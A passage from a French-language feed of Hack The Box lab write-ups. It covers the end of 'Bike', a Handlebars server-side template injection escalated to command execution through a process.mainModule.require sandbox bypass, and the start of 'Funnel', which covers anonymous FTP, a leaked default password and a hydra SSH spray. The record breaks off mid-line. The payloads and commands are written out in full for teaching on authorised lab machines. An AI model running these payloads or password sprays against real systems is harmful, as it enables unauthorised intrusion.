require('child_process').exec('whoami');"}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        {{this.pop}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        {{#each conslist}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">          {{#with (string.sub.apply 0 codelist)}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            {{this}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">          {{/with}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        {{/each}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      {{/with}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    {{/with}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  {{/with}}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{{/with}}</span><br></span></code></pre></div></div>
<p>On encode ce payload en <strong>URL encode</strong> dans l'onglet <strong>Decoder</strong> de BurpSuite.</p>
<p><img decoding="async" loading="lazy" alt="Encodage URL du payload dans BurpSuite Decoder" src="https://mohamedoutougane.com/assets/images/image5-96a3e51333171e008fb0a9d5afe4c4a7.png" width="922" height="415" class="img_ev3q"></p>
<p>On intercepte une requête et on l'envoie au <strong>Repeater</strong>.</p>
<p><img decoding="async" loading="lazy" alt="Envoi au Repeater BurpSuite" src="https://mohamedoutougane.com/assets/images/image6-3f5da8138cc25973289bd03879778155.png" width="1715" height="724" class="img_ev3q"></p>
<p>Dans le Repeater, on remplace la valeur du paramètre <code>email</code> par notre payload encodé.</p>
<p><img decoding="async" loading="lazy" alt="Payload dans le Repeater" src="https://mohamedoutougane.com/assets/images/image7-602a0d2efc58654db1b5704b2358d84e.png" width="921" height="885" class="img_ev3q"></p>
<p>La réponse renvoie <code>require is not defined</code>.</p>
<p><img decoding="async" loading="lazy" alt="Erreur require not defined - sandbox active" src="https://mohamedoutougane.com/assets/images/image8-6368f104d07455384e7fd85198de5e45.png" width="923" height="892" class="img_ev3q"></p>
<p>Le code s'exécute dans une <strong>sandbox</strong> qui bloque l'accès à <code>require</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="contournement-de-la-sandbox-avec-process">Contournement de la sandbox avec <code>process</code><a href="https://mohamedoutougane.com/writeups/bike#contournement-de-la-sandbox-avec-process" class="hash-link" aria-label="Lien direct vers contournement-de-la-sandbox-avec-process" title="Lien direct vers contournement-de-la-sandbox-avec-process" translate="no">​</a></h3>
<p>Dans Node.js, <code>process</code> est un objet global accessible partout. <code>process.mainModule</code> fait référence au module principal, non sandboxé.</p>
<p>On modifie le payload progressivement :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">{{this.push "return process;"}}</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="Process accessible - [object process]" src="https://mohamedoutougane.com/assets/images/image9-322a376c7b55aab5fb43384da40ed264.png" width="916" height="792" class="img_ev3q"></p>
<p>La réponse contient <code>[object process]</code> — on peut accéder à <code>process</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="exécution-de-commandes">Exécution de commandes<a href="https://mohamedoutougane.com/writeups/bike#ex%C3%A9cution-de-commandes" class="hash-link" aria-label="Lien direct vers Exécution de commandes" title="Lien direct vers Exécution de commandes" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="RCE obtenu via execSync" src="https://mohamedoutougane.com/assets/images/image10-6d30fdc2da1f3d3291fca0564522c94a.png" width="917" height="747" class="img_ev3q"></p>
<p>On a une <strong>RCE</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/bike#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="récupération-du-flag">Récupération du flag<a href="https://mohamedoutougane.com/writeups/bike#r%C3%A9cup%C3%A9ration-du-flag" class="hash-link" aria-label="Lien direct vers Récupération du flag" title="Lien direct vers Récupération du flag" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">{{this.push "return process.mainModule.require('child_process').execSync('ls /root');"}}</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="flag.txt présent dans /root" src="https://mohamedoutougane.com/assets/images/image11-3c3b2b802d628eff99fdfed0d465e803.png" width="926" height="735" class="img_ev3q"></p>
<p>Un fichier <code>flag.txt</code> est présent.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">{{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}</span><br></span></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">6b2{...}81c</span><br></span></code></pre></div></div>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://mohamedoutougane.com/writeups/bike#conclusion" class="hash-link" aria-label="Lien direct vers Conclusion" title="Lien direct vers Conclusion" translate="no">​</a></h2>
<p>Chaîne d'attaque :</p>
<ol>
<li class=""><strong>Reconnaissance</strong> → Node.js / Express sur port 80</li>
<li class=""><strong>Détection SSTI</strong> → <code>{{7*7}}</code> révèle Handlebars via l'erreur</li>
<li class=""><strong>Exploitation initiale</strong> → payload bloqué par la sandbox qui interdit <code>require</code></li>
<li class=""><strong>Contournement</strong> → <code>process.mainModule.require</code> pour sortir de la sandbox</li>
<li class=""><strong>RCE</strong> → <code>execSync</code> + lecture de <code>/root/flag.txt</code></li>
</ol>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Web</category>
            <category>Linux</category>
            <category>VIP</category>
            <category>Tier 1</category>
        </item>
        <item>
            <title><![CDATA[Funnel]]></title>
            <link>https://mohamedoutougane.com/writeups/funnel</link>
            <guid>https://mohamedoutougane.com/writeups/funnel</guid>
            <pubDate>Sat, 14 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Exploitation d'un FTP anonyme et port forwarding SSH pour accéder à une base de données PostgreSQL locale.]]></description>
            <content:encoded><![CDATA[<p>Bienvenue sur <strong>Funnel</strong>, une machine du <strong>Tier 1</strong> de <strong>Starting Point</strong> qui illustre une chaîne d'attaque classique : des identifiants qui fuient via un <strong>FTP anonyme</strong>, un mot de passe par défaut jamais changé, et une base de données <strong>PostgreSQL</strong> accessible uniquement en local... jusqu'à ce qu'on utilise le <strong>port forwarding SSH</strong>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Attention : Il s'agit d'une machine VIP. Vous aurez besoin d'un abonnement HTB pour pouvoir la lancer.</p></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/funnel#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/funnel#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.195</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.195: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">7.60</span><span class="token plain"> ms</span><br></span></code></pre></div></div>
<p>TTL de 63 → machine <strong>Linux</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/funnel#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ nmap </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.195</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">21</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">ftp</span><span class="token plain">     vsftpd </span><span class="token number" style="color:#36acaa">3.0</span><span class="token plain">.3</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">22</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain">     OpenSSH </span><span class="token number" style="color:#36acaa">8</span><span class="token plain">.2p1 Ubuntu</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="scan-approfondi">Scan approfondi<a href="https://mohamedoutougane.com/writeups/funnel#scan-approfondi" class="hash-link" aria-label="Lien direct vers Scan approfondi" title="Lien direct vers Scan approfondi" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ nmap -p21,22 </span><span class="token parameter variable" style="color:#36acaa">-sC</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.195</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">21</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">ftp</span><span class="token plain">  vsftpd </span><span class="token number" style="color:#36acaa">3.0</span><span class="token plain">.3</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> ftp-anon: Anonymous FTP login allowed </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">FTP code </span><span class="token number" style="color:#36acaa">230</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token operator" style="color:#393A34">|</span><span class="token plain">_drwxr-xr-x    </span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">ftp</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">ftp</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">4096</span><span class="token plain"> Nov </span><span class="token number" style="color:#36acaa">28</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">2022</span><span class="token plain"> mail_backup</span><br></span></code></pre></div></div>
<p><strong>Connexion FTP anonyme autorisée</strong> avec un dossier <code>mail_backup</code> visible !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/funnel#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="connexion-ftp-anonyme-et-récupération-des-fichiers">Connexion FTP anonyme et récupération des fichiers<a href="https://mohamedoutougane.com/writeups/funnel#connexion-ftp-anonyme-et-r%C3%A9cup%C3%A9ration-des-fichiers" class="hash-link" aria-label="Lien direct vers Connexion FTP anonyme et récupération des fichiers" title="Lien direct vers Connexion FTP anonyme et récupération des fichiers" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">ftp</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.195</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Name: anonymous</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">230</span><span class="token plain"> Login successful.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">ftp</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token builtin class-name">cd</span><span class="token plain"> mail_backup</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">ftp</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">dir</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-rw-r--r--  password_policy.pdf</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">-rw-r--r--  welcome_28112022</span><br></span></code></pre></div></div>
<p>On récupère les deux fichiers avec <code>get</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="analyse-des-fichiers">Analyse des fichiers<a href="https://mohamedoutougane.com/writeups/funnel#analyse-des-fichiers" class="hash-link" aria-label="Lien direct vers Analyse des fichiers" title="Lien direct vers Analyse des fichiers" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> welcome_28112022</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">From: root@funnel.htb</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">To: optimus@funnel.htb albert@funnel.htb andreas@funnel.htb christine@funnel.htb maria@funnel.htb</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Hello everyone,</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">We have </span><span class="token builtin class-name">set</span><span class="token plain"> up your accounts. Please, </span><span class="token builtin class-name">read</span><span class="token plain"> through the attached password policy.</span><br></span></code></pre></div></div>
<p>On découvre :</p>
<ul>
<li class="">Nom de domaine : <code>funnel.htb</code></li>
<li class="">Liste d'utilisateurs : <code>optimus</code>, <code>albert</code>, <code>andreas</code>, <code>christine</code>, <code>maria</code></li>
<li class="">Le PDF joint contient les identifiants</li>
</ul>
<p><img decoding="async" loading="lazy" alt="Politique de mot de passe avec le mot de passe par défaut" src="https://mohamedoutougane.com/assets/images/image1-413092df1a4c4d687dc52abf09f2eb22.png" width="652" height="508" class="img_ev3q"></p>
<p>Le fichier <code>password_policy.pdf</code> révèle le <strong>mot de passe par défaut</strong> : <code>funnel123#!#</code>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Dans un vrai engagement de pentest, ce genre de document interne est de l'or. Les utilisateurs qui n'ont pas changé leur mot de passe par défaut sont des cibles prioritaires.</p></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/funnel#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="bruteforce-ssh-avec-hydra">Bruteforce SSH avec Hydra<a href="https://mohamedoutougane.com/writeups/funnel#bruteforce-ssh-avec-hydra" class="hash-link" aria-label="Lien direct vers Bruteforce SSH avec Hydra" title="Lien direct vers Bruteforce SSH avec Hydra" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> usernames.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">root</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">optimus</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">albert</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">andreas</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">christine</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">maria</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ hydra </span><span class="token parameter variable" style="color:#36acaa">-L</span><span class="token plain"> usernames.txt </span><span class="token parameter variable" style="color:#36acaa">-p</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'funnel123#!#'</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.195 </span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">22</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ssh</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> host: </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.195   login: christine   password: funnel123</span><span class="token comment" style="color:#999988;font-style:italic">#!#</span><br></span></code></pre></div></div>
<p><strong>Christine</strong> n'a pas changé son mot de passe par défaut.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="connexion-ssh-et-énumération-interne">Connexion SSH et énumération interne<a href="https://mohamedoutougane.com/writeups/funnel#connexion-ssh-et-%C3%A9num%C3%A9ration-interne" class="hash-link" aria-label="Lien direct vers Connexion SSH et énumération interne" title="Lien direct vers Connexion SSH et énumération interne" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain"> christine@10.129.228.195</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">christine@funnel:~$</span><br></span></code></pre></div></div>
<p>On cherche les services en écoute sur localhost :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">christine@funnel:~$ ss </span><span class="token parameter variable" style="color:#36acaa">-tl</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">LISTEN  </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">4096</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">127.0</span><span class="token plain">.0.1:postgresql  </span><span class="token number" style="color:#36acaa">0.0</span><span class="token plain">.0.0:*</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">LISTEN  </span><span class="token number" 